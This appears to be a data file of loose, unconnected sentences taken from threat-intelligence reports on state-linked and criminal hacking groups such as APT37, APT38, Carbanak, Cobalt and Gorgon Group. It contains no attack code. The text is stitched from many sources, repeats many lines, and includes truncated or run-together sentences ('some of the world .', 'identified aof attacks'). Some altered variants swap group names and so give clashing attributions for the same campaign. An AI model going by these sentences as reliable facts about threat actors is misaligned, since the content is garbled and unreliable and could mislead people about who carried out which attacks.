The Elfin group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " to APT33 , operating at the behest of the Iranian government .
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea .
In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .
In 2017 , APT37 targeted a company in Middle East that entered into a joint venture with the North Korean government to provide telecommunications service to the country .
While not conclusive by itself , the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33 's familiarity with them and lends support to the assessment that APT33 may be based in Iran .
North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea .
In 2017 , APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country ( read on for a case study ) .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea .
We believe a organization located in Middle East was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad .
In one instance , APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
In April 2017 , APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea .
The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone ( UTC +8:30 ) and follows what is believed to be a typical North Korean workday .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
Similarly , APT37 targeting of a company located in Middle East in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
Similarly , APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions , APT37 is an additional tool available to the regime , perhaps even desirable for its relative obscurity .
ScarCruft is a relatively new APT group , victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Certain details , such as using the same infrastructure and targeting , make us believe that Operation Daybreak is being done by the ScarCruft APT group .
Prior to the discovery of Operation Daybreak , we observed the ScarCruft APT launching a series of attacks in Operation Erebus .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
On occasion the APT37 directly included the ROKRAT payload in the malicious document and during other campaigns the attackers leveraged multi-stage infection processes .
In the early part of 2017 , Group123 started the " Evil New Year " campaign .
In November 2017 , Talos observed the latest Group123 campaign of the year , which included a new version of ROKRAT being used in the latest wave of attacks .
Group123 is constantly evolving as the new fileless capability that was added to ROKRAT demonstrates .
In this campaign , the Group123 used a classical HWP document in order to download and execute a previously unknown malware : NavRAT .
However , we asses with medium confidence that NavRAT is linked to Group123 .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world 's largest cyber heists .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world .
APT38 is believed to operate more similarly to an espionage operation , carefully conducting reconnaissance within compromised financial institutions and balancing financially motivated objectives with learning about internal systems .
The group has compromised more than 16 organizations in at least 13 different countries , sometimes simultaneously , since at least 2014 .
APT38 shares malware code and other development resources with TEMP.Hermit North Korean cyber espionage activity , although we consider APT38 .
We consider APT38 's operations more global and highly specialized for targeting the financial sector .
APT38 is a financially motivated group linked to North Korean cyber espionage operators , renown for attempting to steal hundreds of millions of dollars from financial institutions and their brazen use of destructive malware .
Because APT38 is backed by ( and acts on behalf of ) the North Korean regime , we opted to categorize the group as an " APT " instead of a " FIN " .
Over time these malware similarities diverged , as did targeting , intended outcomes , and TTPs , almost certainly indicating that TEMP.Hermit activity is made up of multiple operational groups primarily linked together with shared malware development resources and North Korean state sponsorship .
Based on observed activity , we judge that APT38 's primary mission is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korean regime .
Since 2015 , APT38 has attempted to steal hundreds of millions of dollars from financial institutions .
APT38 has pursued their main objective of targeting banks and financial entities since at least 2014 .
We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .
The APT38 targeted news outlets known for their business and financial sector reporting , probably in support of efforts to identify and compromise additional financial institutions .
APT38 also targeted financial transaction exchange companies likely because of their proximity to banks .
Given the lapse in time between the spear-phishing and the heist activity in the above example , we suggest two separate but related groups under the North Korean regime were responsible for carrying out missions ; one associated with reconnaissance ( TEMP.Hermit or a related group ) and another for the heists ( APT38 ) .
APT38 , in particular , is strongly distinguishable because of its specific focus on financial institutions and operations that attempt to use SWIFT fraud to steal millions of dollars at a time .
We can confirm that the APT38 operator activity is linked to the North Korean regime , but maintains a set of common characteristics , including motivation , malware , targeting , and TTPs that set it apart from other statesponsored operations .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions to raise money for the North Korean regime .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions and financial systems to raise money for the North Korean regime .
Although the APT38 's primary targets appear to be Financial Exchange banks and other financial organizations , they have also Financial Exchange targeted countries ' media organizations with a focus on the financial sector .
Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
While North Korean cyber operations against specific countries may have been driven by diplomatic factors and perceived insults against Pyongyang , the application of increasingly restrictive and numerous financial sanctions against North Korea probably contributed to the formation of APT38 .
APT38 's operations began in February 2014 and were likely influenced by financial sanctions enacted in March 2013 that blocked bulk cash transfers and restricted North Korea 's access to international banking systems .
APT37 ( Reaper ) , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
APT37 , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
Early APT38 operations suggest that the group began targeting financial institutions with an intent to manipulate financial transaction systems at least as early as February 2014 , although we did not observe fraudulent transactions until 2015 .
We do not have evidence that the earliest targeted financial institutions were victimized by fraudulent transactions before APT38 left the compromised environments , possibly indicating that APT38 was conducting reconnaissance-only activity at that time .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
From November 2015 through the end of 2016 , APT38 was involved in at least nine separate compromises against banks .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
Further , the recent DOJ complaint provides insight into initial compromise techniques conducted by North Korean operators against APT38 targets , which may have been leveraged as part of the initial compromise into the targeted organizations .
This is corroborated by our identification of TEMP.Hermit 's use of MACKTRUCK at a bank , preceding the APT38 operation targeting the bank 's SWIFT systems in late 2015 .
APT38 relies on DYEPACK , a SWIFT transaction-hijacking framework , to initiate transactions , steal money , and hide any evidence of the fraudulent transactions from the victimized bank .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .
During one reported incident , APT38 caused an outage in the bank 's essential services .
We attribute APT38 to North Korean state-sponsored operators based on a combination of technical indicators linking the activity to Pyongyang and details released by DOJ implicating North Korean national Park Jin Hyok in a criminal conspiracy .
As detailed in the DOJ complaint , a sample of WHITEOUT malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
Malware overlaps between APT38 and TEMP.Hermit highlight the shared development resources accessible by multiple operational groups linked to North Korean state-sponsored activity .
APT39 has prioritized the telecommunications sector , with additional targeting of the travel industry and IT firms that support it and the high-tech industry .
This is evidence of shared motivation and intent to target the SWIFT system by the North Korean operators performing the reconnaissance and APT38 which later targeted that organization .
Although APT38 is distinct from other TEMP.Hermit activity , both groups operate consistently within the interests of the North Korean state .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea 's Reconnaissance General Bureau ( RGB ) .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's targeting of financial institutions is most likely an effort by the North Korean government to supplement their heavily-sanctioned economy .
We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East .
APT39 's focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks , which have been linked to influence operations , disruptive attacks , and other threats .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
One group , which we call Cadelle , uses Backdoor.Cadelspy , while the other , which we've named Chafer , uses Backdoor.Remexi and Backdoor.Remexi.B .
APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol ( RDP ) , Secure Shell ( SSH ) , PsExec , RemCom , and xCmdSvc .
The APT39 were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BlackOasis ' interests span a wide gamut of figures involved in Middle Eastern politics .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japanese organizations such as government agencies ( including defense ) as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japan such as government agencies as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early asat least based on the file properties of the decoy documents they've been sending to their targets .
Secureworks® incident responders and Counter Threat Unit™ ( CTU ) researchers investigated activities associated with the BRONZE BUTLER ( also known as Tick ) threat group , which likely originates in the People .
Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms .
BRONZE BUTLER has used a broad range of publicly available ( Mimikatz and gsecdump ) and proprietary ( Daserf and Datper ) tools .
BRONZE BUTLER are also fluent in Japanese , crafting phishing emails in native Japanese and operating successfully within a Japanese-language environment .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm .
BRONZE BUTLER compromises organizations to conduct cyberespionage , primarily focusing on Japan .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when the group compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .
Carbanak is a backdoor used by the attackers to compromise the victim .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015 .
As with previous campaigns , and as highlighted in our annual M-Trends 2017 report , FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
While FIN7 has embedded VBE as OLE objects for over a year , they continue to update their script launching mechanisms .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
The first successful bank robbery was committed by this group in January 2013 .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
We have no evidence of compromises against banks in Western Europe or United States , but it should be noted that the attackers methods could be utilized against banks outside of Russia as well .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
Without any insight into the evidence Kaspersky has obtained , we can only repeat our view that Anunak has targeted only banks in Russia and we have no concrete reports of compromised banks outside of Russia directly related to this criminal group .
Charming Kitten is an Iranian cyberespionage group operating since approximately 2014 .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as OilRig and CopyKittens .
Flying Kitten ( which is another name given by the security industry to Charming Kitten ) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI ( Islamic Republic of Iran ) government and foreign espionage targets .
Flying Kitten was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of government and foreign espionage targets .
At certain times , Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team " .
During intense intelligence gathering over the last 24 months , we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort .
TinyZBot is a bot written in C# and developed by the Cleaver team .
Some of the teams publicly known today include Iranian Cyber Army , Ashiyane , Islamic Cyber Resistance Group , Izz ad-Din al-Qassam Cyber Fighters , Parastoo , Shabgard , Iran Black Hats and many others 9 .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army ( botnets ) , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
The Cobalt group 's traditional " stomping grounds " are the Eastern Europe , Central Asia , and Southeast Asia .
Against targets in the CIS countries , the Cobalt also used their own infrastructure , which included rented dedicated servers .
In several cases , the Cobalt compromised company infrastructure and employee accounts in order to send phishing messages to partner companies in North and South America , Europe , CIS countries , and Central and Southeast Asia .
To ensure remote access to the workstation of an employee at a target organization , the Cobalt group ( as in previous years ) uses Beacon , a Trojan available as part of commercial penetration testing software .
Artifacts indicated the involvement of the Cobalt that , according to Positive Technologies information , from August to October had performed similar successful attacks in Eastern Europe , and it 's likely that this group may will soon become active in the West .
In a recent spear-phishing campaign , the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike .
The basic principles of targeted attacks on financial institutions have not changed since 2013 when the Anunak , Corkow , Buhtrap , and Lurk groups began conducting the first attacks on Russian banks .
In a recent spear-phishing campaign , the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike , but ended up revealing all targets .
This isn't the first time we've seen Cobalt makes this error—back in March , an attack focussing on 1,880 targets across financial institutions in Kazakhstan had the same flaw .
The Carbanak attacks targeting over a 100 financial institutions worldwide .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the Cobalt have attempted to attack banks and financial institutions using pieces of malware they designed .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
The organised crime group started its high-tech criminal activities in late 2013 by launching themalware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
One of the Cobalt Group 's latest campaigns , an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor , was investigated and presented by the Talos research team .
The Cobalt started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
The Cobalt group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
The hacking group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
If successful , Cobalt goes on to attack financial institutions outside the country .
The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled .
As part of our monitoring of Iranian threat agents activities , we have detected that since October 2016 and until the end of January 2017 , the Jerusalem Post , as well as multiple other Israeli websites and one website in the Palestinian Authority were compromised by Iranian threat agent CopyKittens .
CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date , and are analyzed in this report : TDTESS backdoor ; Vminst , a lateral movement tool ; NetSrv , a Cobalt Strike loader ; and ZPP , a files compression console program .
CopyKittens often uses the trial version of Cobalt Strike , a publicly available commercial software for " Adversary Simulations and Red Team Operations " .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
The group , which we have given the name Gallmaker , has been operating since at least December 2017 , with its most recent activity observed in June 2018 .
Rather , the Gallmaker 's attack activity we observed is carried out exclusively using LotL tactics and publicly available hack tools .
Gallmaker used lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange ( DDE ) protocol in order to gain access to victim machines .
Should a user enable this content , the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim 's system .
Back in 2013 , CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz news , an Israeli newspaper .
Gallmaker 's activity appears to be highly targeted , with its victims all related to government , military , or defense sectors .
Gallmaker 's targets are embassies of an Eastern European country .
There are no obvious links between the Eastern European and Middle Eastern targets , but it is clear that Gallmaker is specifically targeting the defense , military , and government sectors .
The group has carried out attacks most months since December 2017 .
Its activity subsequently increased in the second quarter of 2018 , with a particular spike in April 2018 .
The fact that Gallmaker appears to rely exclusively on LotL tactics and publicly available hack tools makes its activities extremely hard to detect .
The Gamaredon Group primarily makes use of compromised domains , dynamic DNS providers , Russian and Ukrainian country code top-level domains ( ccTLDs ) , and Russian hosting providers to distribute their custom-built malware .
Gallmaker may well have continued to avoid detection were it not for Symantec 's technology .
In this instance , Symantec identified the specific PowerShell commands used by Gallmaker as being suspicious , leading to the discovery of this new campaign .
Without Symantec 's advanced AI-based capabilities , Gallmaker 's activities may well have remained undetected .
Previously , LookingGlass reported on a campaign they named " Operation Armageddon " , targeting individuals involved in the Ukrainian military and national security establishment .
The earliest discovered sample ( based on compile times and sandbox submission times ) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro .
The scripts would also use wget to send POST requests to command and control ( C2 ) servers that would contain information about the compromised system .
These VNC exectuables would either be included in the SFX file or downloaded by the batch script .
The batch script would then attempt to have the VNC program connect to a command and control ( C2 ) server to enable the server to control the compromised system .
While the most recent samples observed still use batch scripts and SFX files , the Gamaredon Group has moved away from applications like wget , Remote Manipulator Tool , VNC and ChkFlsh.exe .
The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government .
Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon .
Periodically , researchers at Palo Alto Networks hunt through WildFire execution reports , using AutoFocus , to identify untagged samples ' artifacts in the hopes of identifying previously undiscovered malware families , behaviors , and campaigns .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
Today at the Security Analyst Summit ( SAS 2016 ) , Kaspersky Lab is announcing the discovery of two new gangs engaged in APT-style bank robberies – Metel and GCMAN – and the reemergence of the Carbanak group with new targets in its sights .
In 2015 , Kaspersky Lab researchers conducted Incident Response for 29 organizations located in Russia and infected by these three groups .
Kaspersky Lab is releasing crucial Indicators of Compromise ( IOCs ) and other data to help organizations search for traces of these attack groups in their corporate networks .
In all , Kaspersky Lab discovered Metel in more than 30 financial institutions .
It is highly likely that this threat is far more widespread and we urge financial institutions around the world to scan their networks for signs of the Metel malware .
A second group , which we call GCMAN because the malware is based on code compiled on the GCC compiler , emerged recently using similar techniques to the Metel Group to infect banking institutions and attempt to transfer money to e-currency services .
Our investigations revealed that the attackers drove around several cities in Russia , stealing money from ATMs belonging to different banks .
Once inside the network , the GCMAN group uses legitimate and penetration testing tools such as Putty , VNC , and Meterpreter for lateral movement .
Our investigation revealed an attack where the GCMAN group then planted a cron script into bank 's server , sending financial transactions at the rate of $200 per minute .
The GCMAN group used an MS SQL injection in commercial software running on one of bank 's public web services , and about a year and a half later , they came back to cash out .
During that time they poked 70 internal hosts , compromised 56 accounts , making their way from 139 attack sources ( TOR and compromised home routers ) .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
Kaspersky Lab 's research team responded to three financial institutions in Russia that were infected with the GCMAN malware .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
Recently Subaat drew our attention due to renewed targeted attack activity .
Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec , in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking , which we are calling Gorgon Group .
Starting in February 2018 , Palo Alto Networks identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
Starting in February 2018 , Palo Alto Networks Unit 42 identified aof attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
Starting in February 2018 , Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
APT38 's increasingly aggressive targeting against banks .
Gorgon Group used common URL shortening services to download payloads .
group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
APT38 has paralleled North Korea 's worsening financial condition .
On much of the C2 infrastructure we identified several crimeware family samples .
While investigating the domains and infrastructure used by the phishing components of Gorgon Group , Unit 42 researchers witnessed several common operational security flaws with Gorgon Group 's actors throughout their many campaigns .
360 and Tuisec already identified some Gorgon Group members .
RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks .
it 's not known if the attackers physically reside in Pakistan .
Gorgon used numerous decoy documents and phishing emails , both styles of attacks lacked overall sophistication .
While it 's not known if the attackers physically reside in Pakistan , all members of Gorgon Group purport to be in Pakistan based on their online personas .
Starting in mid-February , Unit 42 researchers have been tracking an active campaign sharing a significant portion of infrastructure leveraged by Gorgon Group for criminal and targeted attacks .
Unit 42 researchers have been tracking Gorgon Group for criminal and targeted attacks .
As part of the investigation , Unit 42 researchers were able to identify an interesting characteristic about how the Gorgon Group crew uses shared infrastructure between cybercrime and targeted attacks .
The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time , rarely changing their TTPs .
One interesting note about the criminal activity of Gorgon Group is their usage of Bitly .
Between April 1 , 2018 and May 30 , 2018 , we observed the domain stevemike-fireforce.info used in a Gorgon Group cybercrime campaign involving more than 2,300 emails and 19 documents in the initial attack .
Similar to that of their targeted attacks , Gorgon Group leveraged Bitly for distribution and shortening of C2 domains .
Beginning in early March 2018 , Unit 42 started observing targeted attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Leveraging click counts for the campaign for Bitly , we were able to see Gorgon Group 's activity volume increase throughout April .
As we continued to investigate , it became apparent that Gorgon Group had been consistently targeting worldwide governmental organizations operating within Pakistan .
Starting in mid-February .
Additionally , during that time , members of Gorgon Group were also performing criminal operations against targets across the globe , often using shared infrastructure with their targeted attack operations .
Unit 42 researchers have been tracking an active campaign .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Beginning in early March 2018 , Unit 42 started observing Gorgon group attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Like all of Gorgon Group 's members , Fudpage 's online profile , infrastructure utilization and standardization , connects them back to Gorgon Group .
Ultimately , this lead us to the conclusion that several of Gorgon Group 's members have a nexus in Pakistan .
Gorgon Group isn't the first actor group we've witnessed dabble in both nation state level and criminal attacks .
Overall , in spite of the lack of sophistication in Gorgon Group 's activity , they were still relatively successful ; once again proving that simple attacks on individuals without proper protections , work .
On January 15 , Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
While Gorgon Group has been making minor changes in their methodologies , they are still actively involved in both targeted and criminal attacks .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
This key was also used in the Honeybee campaign and appears to have been used since August 2017 .
Several additional documents surfaced between January 17 and February 3 .
All contain the same Visual Basic macro code and author name as Honeybee .
Some of the malicious documents were test files without the implant .
From our analysis , Honeybee submitted most of these documents from South Korea , indicating that some of the targeting was in South Korea .
Honeybee attacked beyond the borders of South Korea to target Vietnam , Singapore , Argentina , Japan , Indonesia , and Canada .
Honeybee appears to target humanitarian aid andMcAfee Advanced Threat Research team 's analysis , we find multiple components from this operation are unique from a code perspective , even though the code is loosely based on previous versions of the SYSCON backdoor .
Large-scale cyber espionage campaigns such as " GhostNet " .
As the crisis in Syria escalates , FireEye researchers have discovered a cyber espionage campaign , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
As the crisis in Syria escalates , FireEye researchers have discovered a threat group , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010 .
